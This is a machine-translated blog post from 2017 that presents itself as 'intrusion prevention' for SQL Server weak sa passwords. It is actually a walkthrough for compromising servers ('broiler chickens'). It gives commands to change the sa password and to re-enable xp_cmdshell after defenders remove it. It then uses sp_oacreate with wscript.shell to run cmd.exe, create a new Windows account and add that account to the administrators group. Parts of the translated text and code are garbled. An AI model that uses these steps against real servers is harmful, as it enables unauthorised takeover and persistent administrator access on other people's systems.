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  sa weak passwords intrusion prevention
     
  Add Date : 2017-01-08      
         
         
         
  I now find myself looking mainly broiler chickens SA weak password to'll find a few, but also encountered many difficulties, to find information everywhere finally found something useful.
These commands to SQL separator can be achieved, the following are some of the related commands regarding sa weak passwords.
Note: to analyze specific issues, the above reference only, it may not be effective, the relevant principles of knowledge Find yourself.
A change sa password method:
With sql utilization tool connection, execute the command:
exec sp_password NULL, 'new password', 'sa'
(Tip: use caution!)
Second sa simple repair weak passwords:
Method 1: The separator is connected Query execution:
if exists (select * from
dbo.sysobjects where id = object_id (N '[dbo]. [xp_cmdshell]') and
OBJECTPROPERTY (id, N'IsExtendedProc ') = 1)
exec sp_dropextendedproc N '[dbo]. [xp_cmdshell]'
GO

Then finished press the F5 key command.
Method 2: Query separator connected after
The first step to perform: use master,
Step execution: sp_dropextendedproc 'xp_cmdshell',
Then finished press the F5 key command.
Three common situations resumes xp_cmdshell:
1 Could not find stored procedure 'master..xpcmdshell'.
Recovery Method: inquiry separator is connected,
Step execution: EXEC sp_addextendedproc xp_cmdshell, @ dllname = 'xplog70.dll'declare @o int,
Step execution: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll',
Then finished press the F5 key command.
2 Unable to load a DLL DLL xpsql70.dll the DLL or referenced. Reason 126 (specified module not found.)
Recovery Method: inquiry separator is connected,
The first step in the implementation of: sp_dropextendedproc "xp_cmdshell",
Step execution: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
Then finished press the F5 key command.
3 Unable to find the function in the library xpweb70.dll the xp_cmdshell. Reason: 127 (can not find the specified procedure.)
Recovery Method: inquiry separator is connected,
The first step to perform: exec sp_dropextendedproc 'xp_cmdshell'
Step execute: exec sp_addextendedproc 'xp_cmdshell', 'xpweb70.dll'
Then finished press the F5 key command.

Four ultimate method:
If the above methods are not recoverable, try to use the following way to directly add an account:
Query separator connected,
2000servser system:

 declare @shell int exec sp_oacreate 'wscript.shell', @ shell output
exec sp_oamethod @ shell, 'run', null, 'c: \ winnt \ system32 \ cmd.exe / c net user user password new
Code / add '

declare @shell int exec sp_oacreate 'wscript.shell', @ shell output exec sp_oamethod
@ Shell, 'run', null, 'c: \ winnt \ system32 \ cmd.exe / c net localgroup administrators new users
 / Add '
xp or 2003server system:

 declare @shell int exec sp_oacreate 'wscript.shell', @ shell output exec sp_oamethod
@ Shell, 'run', null, 'c: \ windows \ system32 \ cmd.exe / c net user new user password / add'
declare @shell int exec sp_oacreate 'wscript.shell', @ shell output exec sp_oamethod
@ Shell, 'run', null, 'c: \ windows \ system32 \ cmd.exe / c net localgroup administrators with new
User / add '
In fact, there are other ways as long as you sweep the SA weak password can not be found to execute DOS commands is basically an extension of his store to be deleted, just give him a uploaded to the next SYSTEM32 basically resolved. But this I have not carefully studied.
     
         
         
         
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